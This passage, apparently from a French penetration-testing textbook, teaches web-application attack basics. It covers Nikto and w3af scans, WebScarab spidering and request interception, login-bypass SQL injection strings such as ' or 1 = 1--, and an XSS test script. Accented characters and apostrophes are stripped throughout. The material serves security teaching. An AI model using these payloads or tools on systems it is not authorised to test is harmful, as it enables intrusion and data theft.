plupart sur du code complexe, avec des connexions des bases de
donnes et plusieurs niveaux dauthentification. Les ordinateurs
personnels, les tlphones, divers appareils et, bien entendu, les systmes
qui appartiennent nos cibles sont tous connects Internet.
Avec notre dpendance envers le Web toujours plus grande, la ncessit
de comprendre lexploitation de ce vecteur dattaque augmente
galement.
Ces dernires annes ont vu surgir des expressions comme "Web 2.0" ou
"informatique en nuage" pour dcrire une nouvelle manire dinteragir
avec les systmes et les programmes. En bref, ces expressions
reprsentent un changement dans la faon dont les programmes
informatiques sont conus, excuts, accds et enregistrs. Quels que
soient les termes employs, Internet devient de plus en plus "excutable".
Il tait habituel que des programmes comme Microsoft Office soient
installs en local sur lordinateur. Aujourdhui, les fonctionnalits offertes
par de tels programmes sont accessibles en ligne, notamment sous la
forme de Google Docs et dautres services informatiques du Cloud. Dans
de nombreux cas, linstallation locale nexiste pas et nos donnes, nos
programmes et nos informations rsident sur le serveur, dans un lieu
physique loign.
Nous lavons mentionn prcdemment, les entreprises exploitent
galement la puissance dun Web excutable. Les banques, les achats et
la comptabilit en ligne sont aujourdhui des lieux communs. Tout est
interconnect. Par de nombreux aspects, Internet ressemble un nouveau
Far West. Juste au moment o il semblait que nous faisions de vritables
progrs et des changements fondamentaux dans la faon de programmer
et de concevoir les logiciels, Internet est arriv, avec une nouvelle faon
de rapprendre et de rpter de nombreuses leons de scurit du pass.
En raison de lempressement tout mettre sur le Web et rendre les
systmes accessibles depuis le monde entier, de nouvelles attaques ont t
dveloppes et distribues un rythme effrn.
Il est important que tout aspirant hacker et testeur dintrusion comprenne
au moins les bases de lexploitation web.
Les bases du hacking web
Au chapitre prcdent, nous avons prsent Metasploit en tant que
framework dexploitation. Un framework nous apporte une approche
standardise et structure pour lattaque des cibles. Il existe plusieurs
frameworks pour le hacking des applications web, notamment w3af, Burp
Suite, Zed Attack Proxy (ZAP) dOWASP, Websecurify et Paros. Quel
que soit loutil retenu, hormis de subtiles diffrences (tout au moins du
point de vue des bases), ils offrent tous une fonctionnalit comparable et
constituent un excellent vhicule pour les attaques sur le Web. Lide de
base est demployer le navigateur de la mme manire que pour la visite
dun site web, mais en envoyant tout le trafic au travers dun proxy. De
cette manire, nous pouvons collecter et analyser toutes les requtes,
ainsi que les rponses fournies par lapplication web. Ces botes outils
fournissent diverses fonctionnalits, mais elles se rsument
essentiellement trois ides principales :
1. La possibilit dintercepter les requtes leur sortie du
navigateur. Lutilisation dun proxy dinterception est
essentielle car il permet de modifier les valeurs des variables
avant quelles narrivent lapplication web. Ce proxy
dinterception est un outil phare inclus dans la plupart des
frameworks de hacking web. Lapplication hberge sur le
serveur web accepte les requtes mises par le navigateur et
renvoie des pages en fonction de ces requtes entrantes. Les
variables qui accompagnent la requte en sont un lment
important. Elles dterminent les pages renvoyer
lutilisateur, par exemple les produits ajouts un panier
dachat, les informations bancaires rcuprer, les rsultats
sportifs afficher et pratiquement nimporte quel autre
lment de fonctionnalit du Web actuel. Il est essentiel de
comprendre que, en tant quassaillant, nous avons la
possibilit dajouter, de modifier ou de supprimer des
paramtres dans ces requtes. Par ailleurs, cest
lapplication web de dterminer ce quelle doit faire des
requtes malformes.
2. La possibilit de rechercher toutes les pages web, les
rpertoires et les autres fichiers qui constituent
lapplication web. Lobjectif est davoir une meilleure
comprhension de la surface dattaque. Cette fonctionnalit
est apporte par les outils dexploration automatiss. La
manire la plus simple de dcouvrir tous les fichiers et pages
dun site web consiste passer une URL un robot
dindexation. Sachez toutefois quun robot dindexation web
va gnrer des centaines, voire des milliers, de requtes sur
le site web cible et que cette activit nest donc aucunement
discrte. Le code HTML des rponses renvoyes par
lapplication web est analys afin dy trouver des liens
supplmentaires. Tout nouveau lien dcouvert est ajout la
liste des cibles, explor, catalogu et analys. Le robot
poursuit ses requtes jusqu ce que la liste des liens
dcouverts soit vide. Dans la plupart des cas, cette approche
permettra de couvrir la plus grande partie de la surface
dattaque web. Cependant, elle va galement mettre des
requtes pour nimporte quel lien trouv. Si nous avions
ouvert une session sur lapplication web avant de lancer
lindexation et si le robot trouve un lien de dconnexion, il
dclenchera cette opration sans autre avertissement. Cela
nous empchera de dcouvrir du contenu supplmentaire qui
nest disponible quaux utilisateurs authentifis. Vous devez
tre conscient de cet inconvnient afin de savoir de quelles
zones du site web provient le contenu dcouvert. Il est
galement possible dindiquer des rpertoires ou des chemins
sur le site web cible avant de lcher le robot dindexation.
Cette fonctionnalit apporte un meilleur contrle sur son
comportement.
3. La possibilit danalyser les rponses renvoyes par
lapplication web et dy rechercher des vulnrabilits.
Cette procdure est comparable la manire dont Nessus
recherche des vulnrabilits dans les services rseau. Nous
appliquons lide aux applications web. En changeant les
valeurs des variables laide du proxy dinterception,
lapplication web nous rpond dune manire adapte.
Lorsquun outil de scan envoie des centaines ou des milliers
de requtes malveillantes une application web, celle-ci doit
rpondre de manire approprie. Ces rponses sont
analyses afin de trouver des signes de vulnrabilit au
niveau de lapplication. De nombreuses vulnrabilits des
applications web sont identifies par de simples signatures et
un outil automatis convient donc parfaitement ce travail. Il
existe videmment dautres vulnrabilits qui ne seront pas
remarques par un scanner automatique, mais nous nous
intressons essentiellement aux "fruits les plus faciles
cueillir". Les vulnrabilits trouves laide dun scanner
web automatique font en ralit partie des familles dattaques
web les plus employes aujourdhui : injection SQL, XSS
(Cross-Site Scripting) et manipulation dun chemin de fichier
(ou directory traversal).
Nikto
Si notre scan des ports nous a permis de dcouvrir un service qui
sexcute sur le port 80 ou le port 443, lun des premiers outils
employer pour valuer ce service se nomme Nikto. Il sagit dun scanner
de vulnrabilits des serveurs web. Cet outil a t dvelopp par Chris
Sullo et David Lodge. Il automatise le scan des serveurs web la
recherche dune version obsolte ou non corrige, ainsi que de fichiers
dangereux qui pourraient se trouver sur le serveur. Nikto est capable
didentifier divers problmes spcifiques et de vrifier les dfauts de
configuration du serveur. La version courante de Nikto est intgre
Kali. Si vous nutilisez pas cette distribution Linux ou si Nikto nest pas
install sur votre machine, vous pouvez le trouver en tlchargement
ladresse http://www.cirt.net/Nikto2. Vous pouvez galement procder
son installation laide de la commande apt-get install nikto. Pour
excuter Nikto, il faudra galement que Perl soit install.
Pour connatre les diffrentes options disponibles, excutez la commande
suivante depuis un terminal dans Kali :
nikto
Chaque option est accompagne dune courte description. Pour lancer un
scan de vulnrabilits contre une cible, nous devons indiquer ladresse IP
correspondante laide de loption -h, ainsi que le numro du port avec
loption -p. Nikto est capable de scanner des ports uniques, des ports
multiples ou des plages de ports. Par exemple, pour effectuer un scan
dun serveur web sur tous les ports de 1 1 000, il suffit dexcuter la
commande suivante :
nikto -h 192.168.56.102 -p 1-1000
Pour scanner plusieurs ports non contigus, chacun doit tre spar par
une virgule :
nikto -h 192.168.56.102 -p 80,443
Si nous ne prcisons aucun numro de port, Nikto scanne uniquement le
port 80 de la cible. Pour enregistrer la sortie produite en vue dune
analyse ultrieure, nous indiquons le chemin du fichier de sauvegarde et
son nom laide de loption -o. La Figure 6.1 prsente le rsultat dun
scan par Nikto.
Figure 6.1
Les rsultats dun scan de vulnrabilits effectu par Nikto.
w3af
w3af (Web Application Audit and Attack Framework) est un outil
incroyable pour le scan et lexploitation des ressources web. Il fournit
une interface facile demploi que les testeurs dintrusion peuvent utiliser
pour identifier les principales vulnrabilits web, y compris linjection
SQL, XSS, linclusion de fichier, CSRF (Cross-Site Request Forgery) et
dautres.
La configuration et lutilisation de wa3f ne posent aucune difficult. Cest
pourquoi il convient parfaitement aux personnes qui dbutent dans les
tests dintrusion web. Pour lancer w3af, vous pouvez passer par le menu
Applications > Kali Linux > Applications Web > Identification de
Vulnrabilit des Web > w3af (voir Figure 6.2).
Figure 6.2
Menus de Kali pour accder linterface de w3af.
w3af peut galement tre lanc depuis un terminal laide de la
commande suivante :
w3af
Au dmarrage de w3af, nous obtenons une interface graphique
comparable celle illustre la Figure 6.3.
Figure 6.3
Configurer un scan dans w3af.
La fentre principale de w3af permet de configurer et de personnaliser
le scan. La partie gauche, intitule Profiles, propose des profils prdfinis
qui effectuent des scans prconfigurs sur la cible. La Figure 6.3 montre
le profil OWASP_TOP10 slectionn. La description du profil, affiche
en partie droite, explique que w3af va scanner la cible la recherche des
dix plus importantes failles de scurit web (telles quidentifies par
OWASP). Un clic sur chacun des profils provoque le changement des
plugins activs. Les plugins sont des tests spcifiques que w3af doit
raliser sur la cible. Le profil empty_profile est vide et nous permet de
personnaliser le scan en choisissant les plugins activer.
Aprs avoir choisi le profil appropri, nous pouvons saisir une adresse IP
ou une URL dans le champ Target. Ensuite, il ne reste plus qu cliquer
sur le bouton Start pour dmarrer le test. En fonction du profil choisi et de
la taille de la cible, le scan peut prendre de quelques secondes plusieurs
heures.
Lorsque le scan est termin, les onglets Log, Results et Exploit deviennent
accessibles et nous pouvons tudier nos dcouvertes en les ouvrant. La
Figure 6.4 dvoile les rsultats de notre scan. Notez que les cases
Information et Error ont t dcoches. Nous pouvons ainsi commencer
par nous focaliser sur les problmes les plus importants.
Figure 6.4
Les rsultats dun scan par w3af.
Avant de quitter w3af, il est important dexaminer longlet Exploit. Si
loutil a dcouvert des vulnrabilits au cours de la phase daudit, il
pourrait nous permettre de compromettre directement la cible. Pour tenter
un exploit avec lune des vulnrabilits dcouvertes, ouvrez longlet
Exploit et consultez le volet Exploits. En cliquant du bouton droit sur les
exploits recenss, vous obtenez un menu avec les articles Exploit all vulns
et Exploit all until first successful. Pour essayer un exploit sur la cible,
faites simplement votre choix et surveillez le volet Shells. En cas de
succs de lexploit, une nouvelle entre y sera affiche. Double-cliquez
sur cette entre pour ouvrir une fentre de shell partir de laquelle vous
pourrez excuter des commandes sur la cible.
Enfin, il est important de comprendre que w3af peut tre utilis depuis le
terminal. Comme toujours, nous vous conseillons fortement de prendre le
temps dexplorer et dapprendre matriser cette faon demployer
loutil.
Indexation web
WebScarab est un outil parfaitement adapt aux premires interactions
avec une cible web. Il a t dvelopp par Rogan Dawes et peut tre
rcupr sur le site web dOWASP. Une version de WebScarab est dj
installe sur Kali. Ce framework puissant est par nature modulaire et
permet de charger de nombreux plugins afin de ladapter nos besoins.
Dans sa configuration par dfaut, WebScarab est dj un excellent outil
pour interagir avec des cibles web et les interroger.
Aprs que le scan de vulnrabilits a t effectu, que ce soit avec Nikto
ou w3af, nous pouvons utiliser un robot dindexation sur le site web cible.
w3af dispose galement de cette possibilit, mais noubliez pas que
lobjectif de ce chapitre est de vous prsenter diffrents outils et
mthodologies. Les robots dindexation sont extrmement utiles pour
lexamen du site web cible en recherchant tous les liens et les fichiers
associs. Chaque lien, page web et fichier dcouvert sur la cible est
enregistr et catalogu. Ces donnes seront utiles pour accder des
pages normalement rserves certains utilisateurs et pour localiser des
documents ou des informations publis par mgarde. Pour lancer
WebScarab, il suffit douvrir un terminal et dexcuter la commande
suivante :
webscarab
La fonction dindexation de WebScarab est galement disponible partir
du menu Applications > Kali Linux > Applications Web > Identification
de Vulnrabilit des Web > webscarab. Avant que le robot dindexation
puisse tre lanc sur la cible, nous devons vrifier que linterface est en
mode complet. Kali bascule par dfaut dans ce mode, mais certaines
versions antrieures souvrent en mode simple. Pour basculer entre ces
deux modes dinterface, ouvrez le menu Tools et cochez la case intitule
Use full-featured interface ou Use Lite interface (voir Figure 6.5).
Figure 6.5
Passer linterface de WebScarab en mode complet.
Aprs un changement de mode dinterface, WebScarab doit tre
redmarr. En mode complet, plusieurs nouveaux onglets sont accessibles
en partie suprieure de la fentre, notamment celui libell Spider.
WebScarab tant prsent charg, nous devons configurer notre
navigateur pour quil utilise un proxy. En choisissant WebScarab comme
proxy, nous faisons en sorte que tout le trafic web entrant et sortant du
navigateur passe par celui-ci. De ce point de vue, le proxy joue le rle de
lhomme du milieu et a la possibilit dexaminer, de stopper et de
manipuler le trafic rseau.
La configuration dun proxy dans le navigateur se fait gnralement au
travers des prfrences ou des options rseau. Avec Iceweasel (le
navigateur par dfaut de Kali), cliquez sur Edit > Preferences. Dans la
fentre des prfrences, cliquez sur licne Advanced et ouvrez longlet
Network. Enfin, cliquez sur le bouton Settings (voir Figure 6.6).
Figure 6.6
Accder la configuration dIceweasel pour utiliser WebScarab comme
proxy.
Les paramtres de configuration qui saffichent vont vous permettre de
choisir WebScarab comme proxy pour le navigateur. Cochez la case
Manual proxy configuration, puis saisissez 127.0.0.1 dans le champ HTTP
Proxy et 8008 dans le champ Port. En gnral, il est conseill de cocher la
case Use this proxy server for all protocols. Lorsque la configuration est
termine, cliquez sur le bouton OK pour fermer la fentre Connection
Settings, puis sur Close pour sortir des prfrences.
La Figure 6.7 montre un exemple de configuration du proxy.
Figure 6.7
Les paramtres de connexion pour utiliser WebScarab comme proxy.
Le trafic web qui entre ou qui sort du navigateur transitera dsormais par
WebScarab. Vous devez donc laisser WebScarab sexcuter pendant
quil doit jouer le rle de proxy. Si vous le fermez, vous ne pourrez plus
naviguer sur Internet. Iceweasel affiche alors un message derreur
signalant quil ne parvient pas trouver le proxy. Vous devrez relancer
WebScarab ou modifier la configuration rseau dIceweasel. Par
ailleurs, pendant que vous naviguez sur Internet laide dun proxy local,
tout le trafic HTTPS se fera avec un certificat invalide. Il sagit du
comportement attendu car le proxy est plac au milieu de la connexion.
Prtez toujours attention aux certificats de scurit invalides. Les
certificats constituent votre meilleure dfense et ils reprsentent souvent
le seul avertissement dune attaque de type homme du milieu.
Le proxy tant install et le navigateur, configur, lindexation de la cible
peut dbuter. Pour cela, nous saisissons son URL dans le navigateur.
Supposons que nous voulions voir tous les fichiers et tous les rpertoires
du site web de TrustedSec. En visitant simplement ladresse
www.trustedsec.com depuis notre navigateur, le site web est charg au
travers de WebScarab. Lorsque cest fait, nous pouvons revenir
WebScarab. LURL saisie est affiche, comme toutes celles que nous
avons visites depuis le dmarrage du proxy. Pour indexer le site, il suffit
de cliquer du bouton droit sur lURL et de choisir Spider tree dans le
menu (voir Figure 6.8).
Figure 6.8
Utiliser WebScarab pour indexer le site web cible.
Nous pouvons alors examiner les fichiers et les dossiers associs au site
web cible. Chaque dossier individuel peut galement tre index en
cliquant du bouton droit et en choisissant nouveau Spider tree. Prenez le
temps dexaminer attentivement chaque recoin de ltendue autorise.
Lindexation dun site web est une bonne manire de trouver des donnes
confidentielles publies par inadvertance.
Intercepter des requtes avec WebScarab
Nous lavons indiqu prcdemment, WebScarab est un outil
extrmement puissant. Parmi ses nombreux rles, il peut jouer celui de
proxy. Rappelons quun proxy se place entre le client (le navigateur) et le
serveur. Pendant que le proxy sexcute, lintgralit du trafic web qui
entre et qui sort du navigateur passe par son biais. Nous disposons alors
dune possibilit extraordinaire : nous pouvons stopper, intercepter et
modifier les donnes avant quelles narrivent au navigateur ou aprs
quelles en sont sorties. Autrement dit, grce un proxy, nous pouvons
apporter des modifications aux donnes pendant leur transit. La possibilit
de manipuler ou dexaminer les informations dune requte ou dune
rponse HTTP a de srieuses implications sur la scurit.
Prenons lexemple dun site web mal conu qui se fonde sur des champs
masqus pour changer des informations avec le client. Le programmeur
utilise un champ masqu de formulaire, en supposant que linternaute ne
pourra pas y accder. Bien que cette hypothse se vrifie dans le cas
dun utilisateur lambda, quiconque met en place un proxy pourra accder
au champ masqu et modifier sa valeur.
Voici un scnario dexploitation de cette mauvaise conception. Supposons
que linternaute effectue des achats dans un magasin en ligne qui propose
du matriel de golf. Aprs avoir consult les produits, il se dcide pour un
club 299 euros. Exerant le mtier danalyse de scurit, cet acheteur
malin utilise un proxy et remarque que le site web se sert dun champ
cach pour transmettre la valeur du club (299 euros) au serveur lorsque
linternaute clique sur le bouton Ajouter au panier. Il configure son proxy
de manire intercepter la requte HTTP POST. Autrement dit, lorsque
les informations sont envoyes au serveur, elles sont arrtes par le
proxy. Le client est donc en mesure de modifier la valeur du champ
cach. Il change manuellement la valeur du club de 299 euros 1 euro,
puis la requte est envoye au serveur. Le produit est ajout son panier
dachat avec un montant total de 1 euro.
Bien que ce scnario ne soit plus aussi envisageable qu une certaine
poque, il illustre le potentiel de linterception et de linspection des
requtes et des rponses HTTP laide dun proxy.
Pour employer WebScarab en intercepteur, le navigateur doit tre
configur de faon utiliser un proxy et WebScarab doit tre dmarr
comme nous lavons expliqu la section prcdente. Il doit galement
tre bascul en mode "lite", en ouvrant le menu Tools et en cochant la
case Use Lite Interface. Une fois que WebScarab a termin son
chargement, ouvrez longlet Intercept et cochez les cases Intercept
requests et Intercept responses (voir Figure 6.9).
Figure 6.9
Configurer WebScarab de faon intercepter les requtes et les rponses.
Nous pouvons ensuite utiliser Iceweasel pour nous rendre sur le site web
cible.
Attention
Il sera peut-tre plus pratique de laisser dcoches les cases Intercept
requests et Intercept responses jusqu ce que vous soyez prt faire vos
tests. En effet, pratiquement chaque page implique ces actions et
linterception de toutes les requtes et de toutes les rponses avant que
vous soyez prt rendra la navigation pniblement lente.
Lorsque WebScarab est configur de cette manire, le proxy arrte
quasiment toutes les transactions et permet dinspecter ou de modifier les
donnes. Si vous tes dans cette situation, sachez que WebScarab
propose un bouton Cancel ALL Intercepts qui se rvlera pratique pour
avancer.
Pour changer la valeur dun champ, il suffit dattendre que WebScarab
intercepte la requte, puis de rechercher la variable modifier. Nous
pouvons alors simplement saisir une nouvelle valeur dans le champ Value
et cliquer sur le bouton Insert pour actualiser la variable.
Lexamen des rponses et des requtes HTTP sera galement utile pour
dcouvrir des informations de nom dutilisateur et de mot de passe.
Noubliez pas que les valeurs de ces champs sont gnralement codes
au format Base64. Bien quelles puissent sembler chiffres, sachez que
Base64 est un format dencodage, non de chiffrement. Si ces deux
oprations donnent des rsultats dapparence comparable, elles sont
totalement diffrentes. Le dcodage de Base64 est une tche simple quil
est possible de raliser avec peu defforts en utilisant un programme ou
un outil en ligne.
Il existe de nombreux autres serveurs proxy pour vous aider intercepter
les donnes. Nhsitez pas explorer ces diffrents logiciels.
Attaques par injection de code
linstar des dbordements de tampon dans le code systme, les attaques
par injection ont, pendant de nombreuses annes, reprsent un problme
grave pour le Web. Et, de la mme manire que les dbordements de
tampon, elles existent sous diverses formes. Ce type dattaques pourrait
aisment faire lobjet dun chapitre complet, mais, puisque nous nous
focalisons sur les fondamentaux, nous prsenterons uniquement sa forme
de base, linjection SQL classique. Nous allons dcrire les commandes
ncessaires la mise en place dune injection SQL et la manire
dexploiter celle-ci pour contourner lauthentification simple dune
application web. Les attaques par injection peuvent servir diffrents
objectifs, notamment le contournement de lauthentification, la
manipulation des donnes, la consultation de donnes sensibles et
lexcution de commandes sur lhte distant.
La plupart des applications web modernes sont crites dans un langage de
programmation interprt et utilisent des bases de donnes pour stocker
des informations et gnrer du contenu dynamiquement. Les principaux
langages utiliss aujourdhui sont PHP, JavaScript, ASP, SQL (Structured
Query Language) et Python. Contrairement un langage compil, un
langage interprt gnre le code machine juste avant son excution.
Avec un langage compil, le programmeur doit compiler le code source
et produire un fichier excutable (.exe). Aprs que le programme a t
compil, le code machine ne peut plus tre modifi, except en
changeant le code source, en effectuant une nouvelle compilation et en
redistribuant le nouvel excutable.
Dans le cas des applications web modernes, comme un site de-
commerce, le langage interprt construit une suite dinstructions
excutables partir du code dorigine crit par le programmeur et de
lentre fournie par linternaute. Prenons lexemple dun client qui
souhaite acheter des barrettes de mmoire pour son ordinateur. Il se rend
sur sa boutique en ligne prfre et saisit "RAM 16 Go" dans le champ de
recherche. Aprs quil a cliqu sur le bouton de recherche, lapplication
web rcupre lentre de linternaute ("RAM 16 Go") et construit une
requte de base de donnes afin dobtenir tous les produits dont la
description contient ces termes. Elle en construit la liste et la renvoie au
navigateur de linternaute.
Pour comprendre les attaques par injection, il est essentiel de comprendre
ce quest un langage interprt et comment il fonctionne. En sachant que
les informations saisies par linternaute serviront souvent produire du
code qui sera excut sur le systme cible, les attaques par injection
sarticulent autour de lenvoi et de la manipulation de ces informations.
Lobjectif de lenvoi de donnes ou de requtes modifies une cible est
de faire en sorte que celle-ci excute des commandes non prvues ou
quelle retourne lassaillant des informations fortuites.
Linjection SQL est lexemple classique dattaque par injection. Le
langage de programmation SQL est employ pour les interactions avec
les bases de donnes. Grce SQL, un utilisateur peut lire, crire,
modifier et supprimer des donnes enregistres dans les tables dune base
de donnes. Dans notre exemple prcdent, linternaute a soumis
lapplication web (un site web de-commerce) la chane de recherche
"RAM 16 Go". Cette application a ensuite gnr une instruction SQL
construite partir de ces informations.
Il est important de comprendre quil existe plusieurs variantes de SQL, et
les mmes actions peuvent tre effectues en employant des mots
diffrents. Des instructions comprises par Oracle peuvent ne pas tre
reconnues par MySQL ou MSSQL. Les explications donnes ci-aprs
constituent un framework de base gnrique pour les interactions avec la
plupart des applications fondes sur SQL, mais vous devrez vous efforcer
dapprendre les caractristiques spcifiques la cible.
Prenons un autre exemple. Supposons que notre administrateur rseau
Alain Trieur soit la recherche dun cadeau de Nol pour son chef.
Bien dcid ne pas renouveler ses erreurs du pass, Alain dcide de se
rendre sur le site web de son marchand prfr et dy trouver un
ordinateur portable. Pour cela, il saisit le mot "portable" (sans les
guillemets) dans le champ de recherche. Lapplication web gnre alors
une requte SQL de manire rechercher dans la table des produits tous
les enregistrements qui comprennent le mot "portable". Les requtes SQL
sont parmi les actions les plus frquentes dans les applications web, car
elles servent effectuer des recherches dans les tables et retourner les
rsultats correspondants. Voici un exemple de requte SQL simple :
SELECT * FROM produit WHERE categorie = portable;
Dans la requte prcdente, linstruction SELECT indique que nous
souhaitons effectuer une recherche dans une table et obtenir les rsultats.
Le caractre * demande obtenir toutes les colonnes des enregistrements
qui correspondent la recherche. Le mot cl FROM permet de prciser
la table dans laquelle doit se faire la recherche. Il est suivi du nom de
cette table (produit dans notre exemple). Enfin, la clause WHERE dfinit
une condition de test qui permet de limiter ou de prciser les lignes
renvoyes lutilisateur. Dans notre exemple, linstruction SELECT
renverra toutes les lignes de la table produit dont la colonne categorie
contient le mot "portable".
Dans la pratique, la plupart des instructions SQL dfinies sont beaucoup
plus complexes que celle de cet exemple. Trs souvent, plusieurs
colonnes de plusieurs tables interviennent dans la mme requte.
Toutefois, arms de ces connaissances de base en SQL, examinons de
plus prs cette requte. La valeur place droite du signe = provient de
linternaute, tandis que le programmeur a crit tous les lments qui
viennent gauche du signe =. Nous pouvons exploiter cela en utilisant
une syntaxe SQL qui permet de produire des rsultats inattendus. Le
programme a construit une instruction SQL qui est dj complte,
lexception de la chane de caractres place dans la clause WHERE.
Lapplication accepte les informations saisies par linternaute dans le
champ de recherche et les ajoute la fin dune instruction SQL dj
cre. Enfin, une apostrophe est ajoute la fin de linstruction SQL pour
quilibrer les apostrophes. La requte complte est donc la suivante :
SELECT * FROM produit WHERE categorie = portable
Dans ce cas, la partie SELECT * FROM produit WHERE categorie =
est cre lavance par le programmeur. Le mot portable est fourni par
linternaute, puis lapplication ajoute lapostrophe finale ().
Notez que dans linstruction SQL gnre le mot portable est plac entre
des apostrophes. Elles sont ajoutes car la colonne categorie a t dfinie
pour contenir des donnes de type chane de caractres. Les apostrophes
doivent toujours tre quilibres, ce qui signifie quune instruction doit en
contenir un nombre pair. Dans le cas contraire, une erreur de syntaxe
SQL se produit.
Supposons prsent qu la place dun seul mot, "portable", Alain ait saisi
le contenu suivant dans le champ de recherche :
portable or 1 = 1--
Dans ce cas, la requte SQL construite et excute est la suivante :
SELECT * FROM produit WHERE categorie = portable or 1 = 1-
-
En ajoutant lapostrophe supplmentaire, Alain ferme la chane de
caractres qui contient le mot "portable" fourni par linternaute et ajoute
du code supplmentaire qui sera excut par le serveur SQL :
or 1 = 1--
Loprateur or est utilis pour renvoyer les enregistrements lorsque lun
ou lautre oprande est vrai. La partie -- correspond au dbut dun
commentaire. Dans la plupart des versions de SQL, tout ce qui vient aprs
-- est simplement ignor par linterprteur. La dernire apostrophe
ajoute par lapplication est donc ignore. Cette astuce permet de
contourner le code qui risquait dinterfrer avec linjection. Dans ce cas,
la nouvelle requte SQL demande de retourner tous les enregistrements
de la table produit dont la catgorie contient le mot "portable" ou dont
1 = 1. Il est vident que lexpression 1 = 1 est toujours vraie. Par
consquent, la requte SQL va retourner tous les enregistrements de la
table des produits !
Pour comprendre lutilisation des injections SQL, il est essentiel de
matriser les subtilits de construction des requtes.
Lexemple donn prcdemment na sans doute rien de sensationnel ;
la place des seules lignes qui contiennent le mot "portable", nous avons
obtenu lintgralit de la table. Toutefois, si nous appliquons ce type
dattaque un exemple lgrement diffrent, les rsultats risquent de
paratre plus intressants.
De nombreuses applications web se fondent sur SQL pour
lauthentification. Nous obtenons un accs des zones ou du contenu
restreint ou confidentiel en saisissant un nom dutilisateur et un mot de
passe. Comme dans lexemple prcdent, les commandes requises sont
souvent construites partir de donnes fournies par linternaute, le nom
dutilisateur et le mot de passe, et des instructions crites par le
programmeur.
Supposons que ladministrateur rseau Alain Trieur ait mis en place un
nouveau site web pour diffuser des documents confidentiels aux
partenaires stratgiques de la socit. Ces partenaires reoivent un nom
dutilisateur et un mot de passe uniques afin de se connecter au site et de
rcuprer le contenu. Aprs quAlain a configur son site web scuris,
il nous demande deffectuer un test dintrusion pour vrifier que
lauthentification ne peut pas tre contourne.
Nous commenons par employer la mme technique que celle utilise
pour obtenir toutes les donnes de la table produit. Noubliez pas que
lutilisation de -- permet de mettre en commentaire tout le code qui vient
aprs. Dans certains cas, il est possible de saisir simplement un nom
dutilisateur suivi de --. Avec linterprtation approprie, cela peut
conduire la requte SQL contourner ou ignorer la partir du code qui
vrifie le mot de passe. Nous obtenons alors un accs avec le nom
dutilisateur indiqu. Toutefois, cette technique ne peut fonctionner que si
nous disposons dj dun nom dutilisateur.
Dans le cas contraire, nous pouvons essayer de soumettre le contenu
suivant :
or 1 = 1--
Laisser le paramtre du nom dutilisateur vide et ajouter une expression
dont lvaluation donne toujours vrai permet souvent dattaquer un
systme sans connatre un nom dutilisateur douverture de session. En
raison de labsence du nom dutilisateur, la plupart des bases de donnes
vont simplement rcuprer le premier utilisateur. Il sagit en gnral dun
compte dadministrateur. Nous pouvons donner nimporte quel mot de
passe, par exemple "syngress", car la base de donnes ne le vrifiera pas
puisque les instructions correspondantes sont mises en commentaires.
Nous devons fournir un mot de passe pour contourner lauthentification
ct client (ou utiliser un proxy dinterception pour supprimer ce
paramtre) :
SELECT * FROM utilisateurs WHERE nom = or 1 = 1-- and mdp
= syngress
ce stade, nous devons avoir un nom dutilisateur ou tre prts
accder la base de donnes avec le premier utilisateur quelle contient.
Si nous disposons dun nom dutilisateur, nous devons effectuer lattaque
sur le champ du mot de passe, nouveau avec le contenu suivant :
or 1 = 1--
Puisque nous utilisons loprateur or, quel que soit ce qui vient avant la
premire apostrophe, linstruction sera toujours value vrai. Lors du
traitement de la requte, linterprteur verra que le mot de passe est vrai
et accordera laccs lutilisateur indiqu. Si le nom dutilisateur est vide
et si le reste de la requte est excut, nous obtenons un accs avec le
compte du premier utilisateur de la base de donnes.
Supposons que nous ayons un nom dutilisateur, la requte SQL gnre
ressemble donc la suivante :
SELECT * FROM utilisateurs WHERE nom = admin and mdp =
or 1 = 1--
Dans de nombreux cas, cette simple injection nous donnera un accs total
la base de donnes avec le compte du premier utilisateur indiqu dans
la table utilisateurs.
En toute honntet, les erreurs de programmation SQL sont de plus en
plus rares et les chances de contourner lauthentification laide des
techniques dcrites prcdemment sont de plus en plus minces. Les
possibilits dattaque par injection sont prsent beaucoup plus difficiles
trouver. Cependant, cet exemple classique a encore des occasions de
russir, notamment avec les applications dveloppes de toutes pices, et
il constitue un excellent point de dpart lapprentissage et la
dcouverte des attaques par injection plus labores.
Cross-site scripting
Le cross-site scripting, ou XSS, consiste injecter un script dans une
application web. Le script inject peut tre enregistr ou plac dans la
page web dorigine et tre excut ou trait par tout navigateur qui se
rend sur cette page. Cette excution se passe comme si le script inject
faisait en ralit partie du code dorigine.
Les attaques XSS diffrent des autres types dattaques car elles se
focalisent non pas sur le serveur mais sur le client. Bien que le script
malveillant lui-mme soit plac dans lapplication web (le serveur),
lobjectif rel est dobtenir du client (le navigateur) quil excute le script
et ralise une action.
Par mesure de scurit, les applications web nont accs quaux donnes
quelles crivent et enregistrent sur un client. Autrement dit, les
informations places sur notre machine par un site web ne peuvent pas
tre manipules par un autre site web. XSS permet de lever cette
restriction. Lorsquun assaillant est capable dincorporer un script dans
un site web de confiance, le navigateur de la victime supposera que tout
le contenu, y compris le script malveillant, est authentique et quil pourra
donc lui faire confiance. Puisque le script opre pour le compte du site
web de confiance, il a la possibilit daccder aux informations
potentiellement sensibles enregistres sur le client, notamment le jeton de
session et les cookies.
Il est important de souligner que les rsultats finaux ou les dommages
causs par une attaque XSS russie peuvent varier normment. Dans
certains cas, leffet nest quun simple dsagrment, comme une fentre
pop-up persistante. Dans dautres, les consquences sont plus graves,
comme la compromission totale de la cible. Bien que de nombreuses
personnes rejettent initialement la gravit de XSS, un assaillant
expriment peut lemployer pour dtourner des sessions, accder du
contenu protg du site, excuter des commandes sur la cible ou
enregistrer les frappes au clavier !
Vous devez comprendre quil existe de nombreux vecteurs dattaque
XSS. Outre le simple envoi de morceaux de code partir dun champ de
saisie, des liens ou des scripts malveillants peuvent galement tre
incorpors directement dans des sites web, des courriers lectroniques ou
des messages instantans. Les clients de messagerie actuels sont
nombreux afficher automatiquement les messages au format HTML. La
partie malveillante dune URL peut souvent tre masque afin de lui
donner une apparence lgitime.
Sous sa forme la plus simple, une attaque XSS sur une application web qui
ne vrifie pas les donnes soumises na rien de compliqu. Lorsque
lobjectif est simplement de prouver que le systme est vulnrable, nous
pouvons nous servir dun code JavaScript pour tester la possibilit dune
attaque XSS. Les champs de saisie proposs par un site web constituent
un excellent point de dpart. Au lieu de saisir les informations attendues
dans un champ, le testeur dintrusion va saisir le petit script suivant, qui
implique linstruction JavaScript alert :
<script>alert(Test XSS)</script>
Lorsque le code prcdent est saisi et soumis un serveur vulnrable,
